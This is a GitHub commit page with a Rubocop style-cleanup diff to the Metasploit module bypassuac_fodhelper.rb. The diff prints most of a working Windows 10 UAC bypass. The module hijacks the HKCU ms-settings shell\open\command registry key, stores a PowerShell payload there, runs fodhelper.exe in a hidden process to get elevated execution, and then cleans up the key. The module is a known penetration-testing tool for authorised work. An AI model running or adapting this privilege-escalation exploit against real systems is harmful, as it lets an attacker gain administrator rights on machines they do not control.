Skip to content

Commit e5e3be3

Browse files
alexmaloteauxalexmaloteaux
authored
Merge pull request #3 from bwatters-r7/land-8434
Rubocop readability changes
2 parents 2fbbc98 + f47cc1a commit e5e3be3

File tree

1 file changed

+60
-59
lines changed

1 file changed

+60
-59
lines changed

‎modules/exploits/windows/local/bypassuac_fodhelper.rb

Lines changed: 60 additions & 59 deletions
Original file line numberDiff line numberDiff line change
@@ -14,50 +14,53 @@ class MetasploitModule < Msf::Exploit::Local
1414
include Post::Windows::Registry
1515
include Post::Windows::Runas
1616

17-
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings"
18-
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command"
19-
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'
20-
EXEC_REG_VAL = '' # This maps to "(Default)"
21-
EXEC_REG_VAL_TYPE = 'REG_SZ'
22-
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe"
23-
CMD_MAX_LEN = 16383
24-
25-
def initialize(info={})
26-
super(update_info(info,
27-
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
28-
'Description' => %q{
29-
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
30-
the current user hive, and inserting a custom command that will get invoked when
31-
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
32-
flag turned off.
33-
34-
This module modifies a registry key, but cleans up the key once the payload has
35-
been invoked.
36-
37-
The module does not require the architecture of the payload to match the OS. If
38-
specifying EXE::Custom your DLL should call ExitProcess() after starting your
39-
payload in a separate process.
40-
},
41-
'License' => MSF_LICENSE,
42-
'Author' => [
43-
'winscriptingblog', # UAC bypass discovery and research
44-
'amaloteaux' , # MSF module
17+
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze
18+
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze
19+
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
20+
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
21+
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
22+
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze
23+
CMD_MAX_LEN = 16383
24+
25+
def initialize(info = {})
26+
super(
27+
update_info(
28+
info,
29+
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
30+
'Description' => %q{
31+
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
32+
the current user hive, and inserting a custom command that will get invoked when
33+
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
34+
flag turned off.
35+
36+
This module modifies a registry key, but cleans up the key once the payload has
37+
been invoked.
38+
39+
The module does not require the architecture of the payload to match the OS. If
40+
specifying EXE::Custom your DLL should call ExitProcess() after starting your
41+
payload in a separate process.
42+
},
43+
'License' => MSF_LICENSE,
44+
'Author' => [
45+
'winscriptingblog', # UAC bypass discovery and research
46+
'amaloteaux', # MSF module
4547
],
46-
'Platform' => ['win'],
47-
'SessionTypes' => ['meterpreter'],
48-
'Targets' => [
48+
'Platform' => ['win'],
49+
'SessionTypes' => ['meterpreter'],
50+
'Targets' => [
4951
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
5052
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
51-
],
52-
'DefaultTarget' => 0,
53-
'References' => [
54-
[
55-
'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
56-
'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
57-
]
58-
],
59-
'DisclosureDate'=> 'May 12 2017'
60-
))
53+
],
54+
'DefaultTarget' => 0,
55+
'References' => [
56+
[
57+
'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
58+
'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
59+
]
60+
],
61+
'DisclosureDate' => 'May 12 2017'
62+
)
63+
)
6164
end
6265

6366
def check
@@ -71,7 +74,7 @@ def check
7174
def exploit
7275
commspec = '%COMSPEC%'
7376
registry_view = REGISTRY_VIEW_NATIVE
74-
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
77+
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
7578

7679
# Make sure we have a sane payload configuration
7780
if sysinfo['Architecture'] == ARCH_X64
@@ -95,7 +98,7 @@ def exploit
9598
end
9699
end
97100

98-
if !payload.arch.empty? && !(payload.arch.first == target_arch.first)
101+
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
99102
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
100103
end
101104

@@ -104,19 +107,18 @@ def exploit
104107
check_permissions!
105108

106109
case get_uac_level
107-
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
108-
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
109-
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
110-
fail_with(Failure::NotVulnerable,
111-
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
112-
)
113-
when UAC_DEFAULT
114-
print_good('UAC is set to Default')
115-
print_good('BypassUAC can bypass this setting, continuing...')
116-
when UAC_NO_PROMPT
117-
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
118-
shell_execute_exe
119-
return
110+
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
111+
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
112+
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
113+
fail_with(Failure::NotVulnerable,
114+
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
115+
when UAC_DEFAULT
116+
print_good('UAC is set to Default')
117+
print_good('BypassUAC can bypass this setting, continuing...')
118+
when UAC_NO_PROMPT
119+
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
120+
shell_execute_exe
121+
return
120122
end
121123

122124
payload_value = rand_text_alpha(8)
@@ -145,15 +147,15 @@ def exploit
145147
end
146148

147149
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
148-
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value,psh_payload, EXEC_REG_VAL_TYPE, registry_view)
150+
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
149151

150152
# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
151153
cmd_path = expand_path(commspec)
152154
cmd_args = expand_path("/c #{FODHELPER_PATH}")
153155
print_status("Executing payload: #{cmd_path} #{cmd_args}")
154156

155157
# We can't use cmd_exec here because it blocks, waiting for a result.
156-
client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true})
158+
client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })
157159

158160
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
159161
# TODO: fix this up to use something smarter than a timeout?
@@ -171,7 +173,6 @@ def exploit
171173
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
172174
end
173175
registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
174-
175176
end
176177

177178
def check_permissions!

0 commit comments

Comments
 (0)